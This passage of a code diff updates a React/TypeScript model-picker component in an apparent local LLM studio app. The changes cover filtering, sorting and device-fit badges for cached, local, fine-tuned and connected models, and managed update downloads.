refreshScanFolders(); + } + }, + [refreshScanFolders, refreshLocalModelsList, onFoldersChange], + ); const refreshCachedLists = useCallback(() => { listCachedGguf() @@ -870,14 +1600,39 @@ export function HubModelPicker({ setCachedGguf(v); }) .catch(() => {}); - listCachedModels() + listCachedModels(hfToken || undefined) .then((v) => { _cachedModelsCache = v; setCachedModels(v); }) .catch(() => {}); refreshLocalModelsList(); - }, [refreshLocalModelsList]); + }, [hfToken, refreshLocalModelsList]); + + // Updates run as managed downloads (Downloads panel: progress + Cancel), not a blocking + // call. The worker pulls only changed blobs, so the cached copy stays usable until done. + const startManagedUpdate = useCallback((repoId: string, variant: string, expectedBytes: number) => { + return downloadManager + .requestStart({ + kind: "model", + repoId, + variant, + expectedBytes, + }) + .then((outcome) => { + if (outcome === "conflict") { + setUpdateConflictKey(jobKeyOf("model", repoId, variant)); + } else if (outcome === "error") { + throw new Error("Failed to start update"); + } + }); + }, []); + + const updateGgufVariant = useCallback( + (repoId: string, quant: string, expectedBytes: number) => + startManagedUpdate(repoId, quant, expectedBytes), + [startManagedUpdate], + ); useEffect(() => { // Always refresh LM Studio + custom folder models (not gated by alreadyCached). @@ -902,14 +1657,14 @@ export function HubModelPicker({ }) .catch(() => {}) .finally(check); - listCachedModels() + listCachedModels(hfToken || undefined) .then((v) => { _cachedModelsCache = v; setCachedModels(v); }) .catch(() => {}) .finally(check); - }, [refreshLocalModelsList, refreshScanFolders]); + }, [hfToken, refreshLocalModelsList, refreshScanFolders]); // Hide downloaded models from the recommended list. Case-insensitive // since the HF cache lowercases repo IDs. @@ -921,11 +1676,33 @@ export function HubModelPicker({ }, [cachedGguf, cachedModels]); const chatOnly = usePlatformStore((s) => s.isChatOnly()); + const deviceType = usePlatformStore((s) => s.deviceType); + const isMac = deviceType === "mac"; + + // Drop models Studio can't run for chat (diffusion / image / video / etc.) + // using the Hub's classifier on the tags the listing already carries. + const isChatSupported = useCallback( + (r: HfModelResult) => + classifyUnslothSupport({ + modelId: r.id, + pipelineTag: r.pipelineTag, + tags: r.tags, + libraryName: r.libraryName, + quantMethod: r.quantMethod, + deviceType, + }).status !== "unsupported", + [deviceType], + ); const recommendedIds = useMemo(() => { const all = dedupe([...models.map((model) => model.id), value ?? ""]) + .filter((id) => !isHiddenModelId(id)) .filter((id) => !downloadedSet.has(id.toLowerCase())) - .filter((id) => !chatOnly || isKnownGgufRepo(id)) + // Chat-only keeps runnable formats: GGUF anywhere, plus MLX/safetensors + // on Mac (matches the empty Recommended view so search stays consistent). + .filter( + (id) => !chatOnly || isRecommendableFormat(id, isKnownGgufRepo(id), isMac), + ) .filter((id) => !/-FP8[-.]|FP8-Dynamic/i.test(id)); // Sort: GGUFs first, then hub models const gguf: string[] = []; @@ -935,121 +1712,391 @@ export function HubModelPicker({ else hub.push(id); } return [...gguf, ...hub]; - }, [models, value, downloadedSet, chatOnly, isKnownGgufRepo]); - - // Infinite scroll paging for the recommended section - const [recommendedPage, setRecommendedPage] = useState(1); - // Reset page when the underlying list changes - useEffect(() => { - setRecommendedPage(1); - }, [models, chatOnly]); - - const visibleRecommendedIds = useMemo(() => { - const hubStartIndex = recommendedIds.findIndex((id) => !isKnownGgufRepo(id)); - const allGguf = - hubStartIndex === -1 - ? recommendedIds - : recommendedIds.slice(0, hubStartIndex); - const allHub = - hubStartIndex === -1 ? [] : recommendedIds.slice(hubStartIndex); - // Interleave in chunks of 4: [4 gguf, 4 hub, 4 gguf, 4 hub, ...] - const result: string[] = []; - for (let p = 0; p < recommendedPage; p++) { - result.push(...allGguf.slice(p * 4, (p + 1) * 4)); - result.push(...allHub.slice(p * 4, (p + 1) * 4)); - } - return result; - }, [recommendedIds, recommendedPage, isKnownGgufRepo]); - - const hasMoreRecommended = - visibleRecommendedIds.length < recommendedIds.length; + }, [models, value, downloadedSet, chatOnly, isKnownGgufRepo, isMac]); const showHfSection = debouncedQuery.trim().length > 0; - // Newest-first (also covers older backends without `last_modified`). + // Independent sort for each local section's inline dropdown. + const [downloadedSort, setDownloadedSort] = useState("recent"); + const [customSort, setCustomSort] = useState("recent"); + // Format filter toggle for the Unsloth listing. + const [formatFilter, setFormatFilter] = useState("all"); + + // Recommended suggests GGUF anywhere; on Mac also MLX and safetensors. The + // "recommended" sort also drops models too big for the device. Already- + // downloaded models stay visible (badged), never hidden. + const recommendedRows = useMemo(() => { + // Never list mobile-targeted builds in the Unsloth section. + let rows = recommendedSearch.results + .filter((r) => !isHiddenModelId(r.id)) + .filter((r) => !isMobileVariant(r.id)); + // Drop models Studio can't run for chat (diffusion / image / video / etc.). + rows = rows.filter(isChatSupported); + // With no explicit format, show the device-recommended formats (GGUF, plus + // MLX on Mac). When the user picks a format, honor it instead so Safetensors + // is not dropped by the recommendation default. + rows = + formatFilter === "all" + ? rows.filter((r) => isRecommendableFormat(r.id, r.isGguf, isMac)) + : rows.filter((r) => matchesFormatFilter(r.id, r.isGguf, formatFilter)); + // The "recommended" sort always applies the device-fit filter; the shared + // "Fits on device" tick extends it to the other sorts too. + if (recommendedSort !== "recommended" && !fitOnDeviceOnly) return rows; + return rows.filter((r) => { + // Downloaded models always show, regardless of device fit. + if (downloadedSet.has(r.id.toLowerCase())) return true; + return hfModelFitsDevice(r, gpu); + }); + }, [ + recommendedSearch.results, + downloadedSet, + recommendedSort, + fitOnDeviceOnly, + formatFilter, + isMac, + gpu, + isChatSupported, + ]); + + // Per-row meta + VRAM badge from the recommended listing's own metadata. + const recommendedMeta = useMemo(() => { + const map = new Map< + string, + { meta: string | null; status: VramFitStatus | null; est: number } + >(); + for (const r of recommendedSearch.results) { + const isG = isKnownGgufRepo(r.id); + // GGUF param count comes from the repo name or the GGUF metadata, so even + // repos with no "B" token (Kimi, MiniMax) show a param chip. + const ggufParams = r.totalParams ?? paramsFromId(r.id); + const meta = isG + ? [ + ggufParams ? formatCompact(ggufParams) : null, + "GGUF", + r.estimatedSizeBytes ? formatBytes(r.estimatedSizeBytes) : null, + ] + .filter(Boolean) + .join(" · ") + : [ + r.totalParams + ? formatCompact(r.totalParams) + : extractParamLabel(r.id), + // MLX and safetensors get a format pill like GGUF. + isMlxId(r.id) ? "MLX" : "Safetensors", + r.estimatedSizeBytes ? formatBytes(r.estimatedSizeBytes) : null, + ] + .filter(Boolean) + .join(" · ") || null; + if (isG) { + // GGUF fit is size-based: flag OOM when even the smallest quant we can + // size exceeds the device budget. Repos we cannot size show no badge. + const params = ggufParams; + const sizeBytes = + r.estimatedSizeBytes ?? + (params ? estimateQuantBytes(params) : undefined); + const hasDeviceBudget = + gpu.memoryTotalGb > 0 || gpu.systemRamAvailableGb > 0; + const exceeds = + hasDeviceBudget && + sizeBytes != null && + !fitsDevice({ + sizeBytes, + gpuGb: gpu.memoryTotalGb, + systemRamGb: gpu.systemRamAvailableGb, + }); + map.set(r.id, { + meta, + status: exceeds ? "exceeds" : null, + est: sizeBytes ? Math.round(sizeBytes / 1024 ** 3) : 0, + }); + continue; + } + const est = r.totalParams + ? estimateLoadingVram(r.totalParams, "qlora") + : 0; + const status = + est > 0 && gpu.available ? checkVramFit(est, gpu.memoryTotalGb) : null; + map.set(r.id, { meta, status, est }); + } + return map; + }, [recommendedSearch.results, isKnownGgufRepo, gpu]); + + // Tag-accurate capabilities keyed by repo id, pooled from both HF listings. + // Rows look it up by id and fall back to name detection when absent. + const capsById = useMemo(() => { + const map = new Map(); + for (const r of [...results, ...recommendedSearch.results]) { + if (map.has(r.id)) continue; + map.set( + r.id, + detectCapabilities({ + id: r.id, + tags: r.tags, + pipelineTag: r.pipelineTag, + }), + ); + } + return map; + }, [results, recommendedSearch.results]); + + // Ordered by the On Device dropdown (recent/download date/size/name). const sortedCachedGguf = useMemo( - () => sortByDownloadRecency(cachedGguf), - [cachedGguf], + () => sortCachedRepos(cachedGguf, downloadedSort, loadTimes), + [cachedGguf, downloadedSort, loadTimes], ); const sortedCachedModels = useMemo( - () => sortByDownloadRecency(cachedModels), - [cachedModels], + () => sortCachedRepos(cachedModels, downloadedSort, loadTimes), + [cachedModels, downloadedSort, loadTimes], ); + // Each local section's search is scoped to its own models (matched by name). + const localQuery = normalizeForSearch(debouncedQuery.trim()); + const matchesLocalQuery = (m: LocalModelInfo) => + !localQuery || + normalizeForSearch( + `${m.model_id ?? ""} ${m.display_name} ${m.id}`, + ).includes(localQuery); + const sortedLmStudio = useMemo( + () => + sortLocalModels( + lmStudioModels.filter( + (m) => + localModelMatchesFormat(m, formatFilter) && matchesLocalQuery(m), + ), + downloadedSort, + loadTimes, + ), + // eslint-disable-next-line react-hooks/exhaustive-deps + [lmStudioModels, downloadedSort, formatFilter, loadTimes, localQuery], + ); + // Local ./models entries. Chat-only Studio runs GGUF (any host) and MLX (Mac + // only), so raw checkpoints there are hidden (mirrors the cached non-GGUF + // rule). An MLX build a Mac user dropped in ./models stays selectable. + const sortedLocalDir = useMemo( + () => + sortLocalModels( + localDirModels.filter( + (m) => + (!chatOnly || + localModelIsGguf(m) || + (isMac && localModelIsMlx(m))) && + localModelMatchesFormat(m, formatFilter) && + matchesLocalQuery(m), + ), + downloadedSort, + loadTimes, + ), + // eslint-disable-next-line react-hooks/exhaustive-deps + [ + localDirModels, + downloadedSort, + formatFilter, + isMac, + loadTimes, + localQuery, + chatOnly, + ], + ); + const sortedCustomFolderModels = useMemo( + () => + sortLocalModels( + customFolderModels.filter( + (m) => + localModelMatchesFormat(m, formatFilter) && matchesLocalQuery(m), + ), + customSort, + loadTimes, + ), + // eslint-disable-next-line react-hooks/exhaustive-deps + [customFolderModels, customSort, formatFilter, loadTimes, localQuery], + ); + + // Fine-tuned models for the On Device "Fine-tuned" section: flat, query- + // filtered, newest first. + const fineTunedRows = useMemo(() => { + const needle = normalizeForSearch(debouncedQuery.trim()); + return loraModels + .filter((m) => { + const text = normalizeForSearch( + `${m.name} ${m.baseModel ?? ""} ${m.id}`, + ); + return !needle || text.includes(needle); + }) + .slice() + .sort((a, b) => { + const aTime = a.updatedAt ?? -1; + const bTime = b.updatedAt ?? -1; + if (aTime !== bTime) return bTime - aTime; + return a.name.localeCompare(b.name); + }); + }, [loraModels, debouncedQuery]); // While searching, filter Downloaded by the query instead of hiding it, so a // downloaded model the user is searching for stays visible. const visibleCachedGguf = useMemo(() => { - if (!showHfSection) return sortedCachedGguf; + if (!showHfSection) + return sortedCachedGguf.filter((c) => + matchesFormatFilter(c.repo_id, true, formatFilter), + ); const q = normalizeForSearch(debouncedQuery.trim()); - return sortedCachedGguf.filter((c) => normalizeForSearch(c.repo_id).includes(q)); - }, [sortedCachedGguf, showHfSection, debouncedQuery]); + // Keep the format filter active while searching so the dropdown stays + // consistent with the no-query branch (Safetensors selected shouldn't show + // GGUF downloads just because the user typed). + return sortedCachedGguf.filter( + (c) => + matchesFormatFilter(c.repo_id, true, formatFilter) && + normalizeForSearch(c.repo_id).includes(q), + ); + }, [sortedCachedGguf, showHfSection, debouncedQuery, formatFilter]); const visibleCachedModels = useMemo(() => { - if (!showHfSection) return sortedCachedModels; + if (!showHfSection) + return sortedCachedModels.filter((c) => + matchesFormatFilter(c.repo_id, false, formatFilter), + ); const q = normalizeForSearch(debouncedQuery.trim()); - return sortedCachedModels.filter((c) => normalizeForSearch(c.repo_id).includes(q)); - }, [sortedCachedModels, showHfSection, debouncedQuery]); + return sortedCachedModels.filter( + (c) => + matchesFormatFilter(c.repo_id, false, formatFilter) && + normalizeForSearch(c.repo_id).includes(q), + ); + }, [sortedCachedModels, showHfSection, debouncedQuery, formatFilter]); // Non-GGUF cached rows are not shown in chat-only mode, so the empty-state // logic must use this (not visibleCachedModels) or the picker can go blank. const visibleCachedModelRows = chatOnly ? [] : visibleCachedModels; + // Split downloaded models so non-Unsloth repos get their own "Other models" + // section above Fine-tuned. + const unslothCachedGguf = useMemo( + () => visibleCachedGguf.filter((c) => isUnslothRepoId(c.repo_id)), + [visibleCachedGguf], + ); + const otherCachedGguf = useMemo( + () => visibleCachedGguf.filter((c) => !isUnslothRepoId(c.repo_id)), + [visibleCachedGguf], + ); + const unslothCachedModelRows = useMemo( + () => visibleCachedModelRows.filter((c) => isUnslothRepoId(c.repo_id)), + [visibleCachedModelRows], + ); + const otherCachedModelRows = useMemo( + () => visibleCachedModelRows.filter((c) => !isUnslothRepoId(c.repo_id)), + [visibleCachedModelRows], + ); + + // Param counts come straight off the unsloth listings the picker already + // loaded, so no extra per-id fetch is needed for the VRAM badges. + const recommendedParamCountById = useMemo(() => { + const map = new Map(); + for (const r of [...results, ...recommendedSearch.results]) { + if (r.totalParams) map.set(r.id, r.totalParams); + } + return map; + }, [results, recommendedSearch.results]); + // Recommended models that match the current search query const filteredRecommendedIds = useMemo(() => { if (!showHfSection) return []; const q = normalizeForSearch(debouncedQuery.trim()); - return recommendedIds.filter((id) => normalizeForSearch(id).includes(q)); - }, [showHfSection, debouncedQuery, recommendedIds]); - - // VRAM info for visible models plus any surfaced by a search query, so - // filtered recommended models also show VRAM badges. Skip GGUF repos: - // no safetensors metadata, and the render layer shows a "GGUF" badge. - const idsForVram = useMemo(() => { - const ids = showHfSection - ? [...new Set([...visibleRecommendedIds, ...filteredRecommendedIds])] - : visibleRecommendedIds; - return ids.filter((id) => !isKnownGgufRepo(id)); - }, [visibleRecommendedIds, showHfSection, filteredRecommendedIds, isKnownGgufRepo]); - const { paramCountById: recommendedParamCountById } = - useRecommendedModelVram(idsForVram); + return recommendedIds + .filter((id) => normalizeForSearch(id).includes(q)) + .filter((id) => + matchesFormatFilter(id, isKnownGgufRepo(id), formatFilter), + ) + // Curated defaults obey the fit toggle like the live HF rows, else large + // defaults resurface in search results with the filter on. + .filter( + (id) => + !fitOnDeviceOnly || + downloadedSet.has(id.toLowerCase()) || + hfModelFitsDevice( + { + id, + totalParams: recommendedParamCountById.get(id), + isGguf: isKnownGgufRepo(id), + }, + gpu, + ), + ); + }, [ + showHfSection, + debouncedQuery, + recommendedIds, + formatFilter, + isKnownGgufRepo, + fitOnDeviceOnly, + downloadedSet, + recommendedParamCountById, + gpu, + ]); const recommendedSet = useMemo( - () => - new Set(showHfSection ? filteredRecommendedIds : visibleRecommendedIds), - [showHfSection, filteredRecommendedIds, visibleRecommendedIds], + () => new Set(filteredRecommendedIds), + [filteredRecommendedIds], ); const hfIds = useMemo(() => { - if (!showHfSection) return []; + // Only the Unsloth tab searches the HF listing, and only Unsloth models. + if (!showHfSection || section !== "recommended") return []; return results + .filter(isChatSupported) + .filter( + (r) => + !fitOnDeviceOnly || + downloadedSet.has(r.id.toLowerCase()) || + hfModelFitsDevice(r, gpu), + ) .map((result) => result.id) + .filter((id) => !isHiddenModelId(id)) + .filter((id) => id.toLowerCase().startsWith("unsloth/")) .filter((id) => !recommendedSet.has(id)) - // Shown under Downloaded (kept visible while searching); no duplicate. - .filter((id) => !downloadedSet.has(id.toLowerCase())) - .filter((id) => !chatOnly || isKnownGgufRepo(id)) - .filter((id) => !/-FP8[-.]|FP8-Dynamic/i.test(id)); - }, [recommendedSet, downloadedSet, results, showHfSection, chatOnly, isKnownGgufRepo]); + // Chat-only keeps runnable formats: GGUF anywhere, plus MLX/safetensors + // on Mac (matches the empty Recommended view so search stays consistent). + .filter( + (id) => !chatOnly || isRecommendableFormat(id, isKnownGgufRepo(id), isMac), + ) + .filter((id) => !/-FP8[-.]|FP8-Dynamic/i.test(id)) + .filter((id) => + matchesFormatFilter(id, isKnownGgufRepo(id), formatFilter), + ); + }, [ + recommendedSet, + results, + showHfSection, + section, + chatOnly, + isKnownGgufRepo, + isChatSupported, + formatFilter, + fitOnDeviceOnly, + downloadedSet, + gpu, + isMac, + ]); const hubOptionKeys = useMemo(() => { const keys: string[] = []; + // Downloaded (Unsloth) rows (query-filtered) on the On Device tab only. if ( + section === "downloaded" && cachedReady && !downloadedCollapsed && - (visibleCachedGguf.length > 0 || visibleCachedModelRows.length > 0) + (unslothCachedGguf.length > 0 || unslothCachedModelRows.length > 0) ) { keys.push( - ...visibleCachedGguf.map((model) => + ...unslothCachedGguf.map((model) => makeModelOptionKey("downloaded-gguf", model.repo_id), ), ); keys.push( - ...visibleCachedModelRows.map((model) => + ...unslothCachedModelRows.map((model) => makeModelOptionKey("downloaded-model", model.repo_id), ), ); } - if (showHfSection) { + // Unsloth-tab search keys (curated matches + HF unsloth results). + if (showHfSection && section === "recommended") { keys.push( ...filteredRecommendedIds.map((id) => makeModelOptionKey("search-recommended", id), @@ -1059,45 +2106,84 @@ export function HubModelPicker({ return keys; } - if (chatOnly) { + // Other (non-Unsloth) downloaded rows sit just above Fine-tuned. + if ( + section === "downloaded" && + cachedReady && + !otherModelsCollapsed && + (otherCachedGguf.length > 0 || otherCachedModelRows.length > 0) + ) { keys.push( - ...lmStudioModels.map((model) => - makeModelOptionKey("lm-studio", model.id), + ...otherCachedGguf.map((model) => + makeModelOptionKey("downloaded-gguf", model.repo_id), + ), + ); + keys.push( + ...otherCachedModelRows.map((model) => + makeModelOptionKey("downloaded-model", model.repo_id), ), ); } - if (!customFoldersCollapsed) { + // Fine-tuned models sit below downloaded, above custom folders. + if (section === "downloaded" && !fineTunedCollapsed) { + keys.push(...fineTunedRows.map((m) => makeModelOptionKey("lora", m.id))); + } + + // Custom folders sit right below the downloaded models on On Device. + if (section === "downloaded" && !customFoldersCollapsed) { keys.push( - ...customFolderModels.map((model) => + ...sortedCustomFolderModels.map((model) => makeModelOptionKey("custom-folder", model.id), ), ); } - if (cachedReady && !recommendedCollapsed) { + if (section === "downloaded" && !lmStudioCollapsed) { keys.push( - ...visibleRecommendedIds.map((id) => - makeModelOptionKey("recommended", id), + ...sortedLmStudio.map((model) => + makeModelOptionKey("lm-studio", model.id), ), ); } + if (section === "downloaded" && !localDirCollapsed) { + keys.push( + ...sortedLocalDir.map((model) => + makeModelOptionKey("local-dir", model.id), + ), + ); + } + + if (section === "recommended") { + keys.push( + ...recommendedRows.map((r) => makeModelOptionKey("recommended", r.id)), + ); + } + return keys; }, [ cachedReady, chatOnly, - customFolderModels, + sortedCustomFolderModels, customFoldersCollapsed, downloadedCollapsed, + fineTunedRows, + fineTunedCollapsed, filteredRecommendedIds, hfIds, - lmStudioModels, - recommendedCollapsed, + sortedLmStudio, + lmStudioCollapsed, + recommendedRows, + section, showHfSection, - visibleCachedGguf, - visibleCachedModelRows, - visibleRecommendedIds, + sortedLocalDir, + localDirCollapsed, + unslothCachedGguf, + unslothCachedModelRows, + otherCachedGguf, + otherCachedModelRows, + otherModelsCollapsed, ]); const selectedHubOptionKey = useMemo( @@ -1153,9 +2239,10 @@ export function HubModelPicker({ string, { est: number; status: VramFitStatus | null; detail: string | null } >(); - const ids = showHfSection ? filteredRecommendedIds : visibleRecommendedIds; - for (const id of ids) { - const totalParams = recommendedParamCountById.get(id); + for (const id of filteredRecommendedIds) { + // GGUF fit is size-based and badged elsewhere; skip the qlora estimate. + if (isKnownGgufRepo(id)) continue; + const totalParams = recommendedParamCountById.get(id) ?? paramsFromId(id); if (totalParams) { const est = estimateLoadingVram(totalParams, "qlora"); const status = gpu.available @@ -1166,47 +2253,66 @@ export function HubModelPicker({ } } return map; - }, [ - showHfSection, - filteredRecommendedIds, - visibleRecommendedIds, - recommendedParamCountById, - gpu, - ]); + }, [filteredRecommendedIds, recommendedParamCountById, isKnownGgufRepo, gpu]); - const { scrollRef, sentinelRef } = useInfiniteScroll( + const { scrollRef, sentinelRef } = useHubInfiniteScroll( fetchMore, - results.length, + scannedCount, + { + enabled: online && hasMore, + isFetching: isLoading || isLoadingMore, + resultCount: results.length, + resetKey: debouncedQuery, + }, ); - // Sentinel + IntersectionObserver for recommended infinite scroll. - // Disconnect after each fire so it doesn't loop during re-render; the - // effect re-creates it next page. Callback ref detects mount/unmount. + // Recompute the top/bottom edge fades from the scroll position. + const updateListFades = useCallback((el: HTMLDivElement) => { + const scrolled = el.scrollTop > 0; + setListScrolled((prev) => (prev === scrolled ? prev : scrolled)); + const moreBelow = el.scrollHeight - el.scrollTop - el.clientHeight > 1; + setListMoreBelow((prev) => (prev === moreBelow ? prev : moreBelow)); + }, []); + + // Keep the fades in sync when rows are added, removed, or filtered. + useEffect(() => { + const el = scrollRef.current; + if (!el) return; + updateListFades(el); + const observer = new ResizeObserver(() => updateListFades(el)); + observer.observe(el); + if (el.firstElementChild) observer.observe(el.firstElementChild); + return () => observer.disconnect(); + }, [scrollRef, updateListFades]); + + // Sentinel + IntersectionObserver for recommended infinite scroll. Re-running + // on each loaded page (results length) re-attaches the observer so a heavily + // filtered list keeps paging until the viewport fills or the listing ends; + // fetchMore is a no-op while a page is in flight. Callback ref tracks mount. const [recommendedSentinel, setRecommendedSentinel] = useState(null); const recommendedSentinelRef = useCallback((node: HTMLDivElement | null) => { setRecommendedSentinel(node); }, []); useEffect(() => { - if (!recommendedSentinel || !hasMoreRecommended) return; + if (!recommendedSentinel || !recommendedSearch.hasMore) return; const root = scrollRef.current; if (!root) return; const obs = new IntersectionObserver( ([e]) => { - if (e.isIntersecting) { - obs.disconnect(); - setRecommendedPage((p) => p + 1); - } + if (e.isIntersecting) recommendedSearch.fetchMore(); }, { threshold: 0, root }, ); - // Small delay so layout settles after the previous page render. - const timer = setTimeout(() => obs.observe(recommendedSentinel), 100); - return () => { - clearTimeout(timer); - obs.disconnect(); - }; - }, [recommendedSentinel, hasMoreRecommended, recommendedPage, scrollRef]); + obs.observe(recommendedSentinel); + return () => obs.disconnect(); + }, [ + recommendedSentinel, + recommendedSearch.hasMore, + recommendedSearch.fetchMore, + recommendedSearch.results.length, + scrollRef, + ]); /** Handle clicking a model row — GGUF repos expand, others load directly. */ const handleModelClick = useCallback( @@ -1215,961 +2321,1549 @@ export function HubModelPicker({ // Toggle GGUF variant expander setExpandedGguf((prev) => (prev === id ? null : id)); } else { - onSelect(id, { source: "hub", isLora: false }); + // Cached repos load now; uncached ones download via the Hub manager. + onSelect(id, { + source: "hub", + isLora: false, + isDownloaded: downloadedSet.has(id.toLowerCase()), + }); } }, - [onSelect, isKnownGgufRepo], + [onSelect, isKnownGgufRepo, downloadedSet], ); + // On Device owns the downloaded and custom-folder models; the Unsloth tab + // searches the HF listing (below). Both filter locally by the query. + const showDownloaded = section === "downloaded"; + const showCustom = section === "downloaded"; + const showRecommendedSection = !showHfSection && section === "recommended"; + const downloadedEmpty = + visibleCachedGguf.length === 0 && + visibleCachedModelRows.length === 0 && + sortedLmStudio.length === 0 && + sortedLocalDir.length === 0 && + // Fine-tuned models are on-device too: don't show the empty state above a + // non-empty Fine-tuned section. + fineTunedRows.length === 0; + + // Sort dropdown shown inline to the right of the section toggle. Options + // depend on the tab and stay visible while searching so results can be + // sorted. Fixed width matching the Search Hub button so it and the format + // dropdown always line up; text-xs matches that button too. The trigger label + // clips (no ellipsis) when long; the open menu expands to show it in full. + const sortTriggerClassName = + "w-[110px] shrink-0 justify-between pr-2.5 !border-0 text-xs [&>span]:!text-clip"; + // Tighter menu like the Projects activity Select: less left/top padding and + // text-xs to match the trigger. Keep the option's right padding so the + // selected-item checkmark never overlaps the label. + const sortMenuContentClassName = + "!p-1 !rounded-[14px] [&_[role=option]]:!pl-2 [&_[role=option]]:!py-1.5 [&_[role=option]]:!text-xs [&_[role=option]]:!rounded-[10px]"; + // Device-fit toggle lives inside the sort menu (shared with the Hub page). + // The whole row is the click target (a button): a Checkbox renders as a + // + + + Hides models larger than this device's memory budget. Downloaded models + stay visible. + + + ); + const sectionSortDropdown = + section === "recommended" ? ( + + ) : section === "downloaded" ? ( + + ) : ( + + ); + + // Connected models grouped by provider, filtered by the shared search query. + const connectedGroups = useMemo(() => { + const needle = normalizeForSearch(debouncedQuery.trim()); + const byProvider = new Map< + string, + { + providerId: string; + providerName: string; + providerType: string; + models: ExternalModelOption[]; + } + >(); + for (const model of externalModels) { + const text = normalizeForSearch( + `${model.name} ${model.providerName} ${model.id}`, + ); + if (needle && !text.includes(needle)) continue; + const prev = byProvider.get(model.providerId); + if (prev) { + prev.models.push(model); + } else { + byProvider.set(model.providerId, { + providerId: model.providerId, + providerName: model.providerName, + providerType: model.providerType, + models: [model], + }); + } + } + return [...byProvider.values()] + .map((group) => ({ + ...group, + models: group.models.sort((a, b) => a.name.localeCompare(b.name)), + })) + .sort((a, b) => a.providerName.localeCompare(b.providerName)); + }, [externalModels, debouncedQuery]); + const showConnected = section === "connected"; + // The Connected layout uses a wider box, so it drops the search inset to keep + // Search Hub on the last dropdown's edge while the right gap matches the left. + const hasConnected = externalModels.length > 0; + // The Other models section and its shortcut only show with non-Unsloth downloads. + const hasOtherModels = + otherCachedGguf.length > 0 || otherCachedModelRows.length > 0; + + const downloadedRowButtonClassName = + "bg-transparent pr-1 hover:bg-transparent focus-visible:bg-transparent dark:bg-transparent dark:hover:bg-transparent dark:focus-visible:bg-transparent"; + const downloadedRowShellClassName = (selected: boolean) => + cn( + "group flex items-center rounded-full transition-colors hover:bg-[#ececec] focus-within:bg-[#ececec] dark:hover:bg-[var(--sidebar-accent)] dark:focus-within:bg-[var(--sidebar-accent)]", + selected && "bg-[#ececec] dark:bg-[var(--sidebar-accent)]", + ); + + // Shared row renderers so Downloaded (Unsloth) and Other models render alike. + const renderDownloadedGgufRow = (c: (typeof visibleCachedGguf)[number]) => { + const optionKey = makeModelOptionKey("downloaded-gguf", c.repo_id); + const isSelected = value === c.repo_id; + return ( +
+
+
+ toggleGgufExpanded(c.repo_id)} + onArrowDownIntoChildren={ + isGgufExpanded(c.repo_id) + ? () => focusFirstChildOption(optionKey) + : undefined + } + vramStatus={null} + className={downloadedRowButtonClassName} + /> +
+
+ {isGgufExpanded(c.repo_id) && ( + reportVision(c.repo_id, v)} + onSelect={onSelect} + hfToken={hfToken || undefined} + parentOptionKey={optionKey} + onNavigatePastStart={() => hubModelList.focusOption(optionKey)} + onNavigatePastEnd={() => hubModelList.moveFocus(optionKey, "next")} + gpuGb={gpu.available ? gpu.memoryTotalGb : undefined} + systemRamGb={gpu.systemRamAvailableGb || undefined} + variantActions={{ + onUpdate: (quant, expectedBytes) => + updateGgufVariant(c.repo_id, quant, expectedBytes), + // Can't update the model that's live in memory under itself. + updateDisabled: loadedModelId === c.repo_id, + onDelete: async (quant) => { + await deleteCachedModel(c.repo_id, quant); + refreshCachedLists(); + }, + }} + /> + )} +
+ ); + }; + const renderDownloadedModelRow = ( + c: (typeof visibleCachedModelRows)[number], + ) => { + const optionKey = makeModelOptionKey("downloaded-model", c.repo_id); + const isSelected = value === c.repo_id; + return ( +
+
+ + onSelect(c.repo_id, { + source: "hub", + isLora: false, + isDownloaded: true, + }) + } + vramStatus={null} + className={downloadedRowButtonClassName} + /> +
+ + This will remove{" "} + {c.repo_id}{" "} + from disk. You can re-download it later. + + } + successMessage={`Deleted ${c.repo_id}`} + buttonClassName="mr-1" + onConfirm={() => deleteCachedModel(c.repo_id)} + onDeleted={refreshCachedLists} + /> +
+ ); + }; + return ( -
-
- - setQuery(event.target.value)} - placeholder="Search models" - data-model-picker-search-input={true} - className="h-9 border-[#f2f2f2] dark:border-input pl-8 pr-8" - /> - {isLoading && ( - + <> +
+ {/* A small right inset shortens the search bar so Search Hub lands on the + last dropdown's right edge (none on the wider Connected box). */} +
+
+ + setQuery(event.target.value)} + placeholder={ + section === "downloaded" + ? "Search local models" + : "Search Unsloth models" + } + data-model-picker-search-input={true} + className="field-soft h-9 border-0 pl-8 pr-8" + /> + {isLoading && ( + + )} +
+ {onBrowseHub ? ( + + + + + Search all models + + ) : null} +
+ + {/* Section tabs then the format and sort dropdowns, packed left with one + uniform gap between every control. The box is sized so the last + dropdown still lands on Search Hub's edge. Dropdowns hide on Connected. */} +
+ {sectionToggle} + {showConnected ? null : ( +
+ + {sectionSortDropdown} +
)}
updateListFades(e.currentTarget)} + className={cn( + // List sits within the menu padding so left and right gaps match. + // Height tracks the content up to the cap, so short lists do not + // leave white space. scroll-py + symmetric px keep the focus ring off + // the overflow clip edges during keyboard nav. + "model-list-scroll max-h-[335px] overflow-y-auto scroll-py-1.5 px-0.5 mr-1", + listScrolled && "is-scrolled", + listMoreBelow && "is-bottom-faded", + )} {...hubModelList.listboxProps} > -
- {/* First-load spinner only when nothing cached is shown yet. */} - {!cachedReady && - !showHfSection && - visibleCachedGguf.length === 0 && - visibleCachedModelRows.length === 0 ? ( -
- - - Loading models… - -
- ) : null} - - {/* Downloaded stays visible (filtered) while searching. */} - {visibleCachedGguf.length > 0 || visibleCachedModelRows.length > 0 ? ( - <> - } - collapsed={downloadedCollapsed} - onToggle={() => setDownloadedCollapsed((v) => !v)} - >Downloaded - {!downloadedCollapsed && - visibleCachedGguf.map((c) => { - const optionKey = makeModelOptionKey("downloaded-gguf", c.repo_id); - return ( -
- - setExpandedGguf((prev) => - prev === c.repo_id ? null : c.repo_id, - ) - } - onArrowDownIntoChildren={ - expandedGguf === c.repo_id - ? () => { - const focused = focusFirstChildOption(optionKey); - return focused; - } - : undefined - } - vramStatus={null} - /> - {expandedGguf === c.repo_id && ( - - hubModelList.focusOption(optionKey) - } - onNavigatePastEnd={() => - hubModelList.moveFocus(optionKey, "next") - } - gpuGb={gpu.available ? gpu.memoryTotalGb : undefined} - systemRamGb={ - gpu.available ? gpu.systemRamAvailableGb : undefined - } - onDeleteVariant={async (quant) => { - await deleteCachedModel(c.repo_id, quant); - refreshCachedLists(); - }} - /> - )} -
- ); - })} - {!downloadedCollapsed && - visibleCachedModelRows.map((c) => { - const optionKey = makeModelOptionKey("downloaded-model", c.repo_id); - return ( -
-
- - onSelect(c.repo_id, { - source: "hub", - isLora: false, - isDownloaded: true, - }) - } - vramStatus={null} - /> -
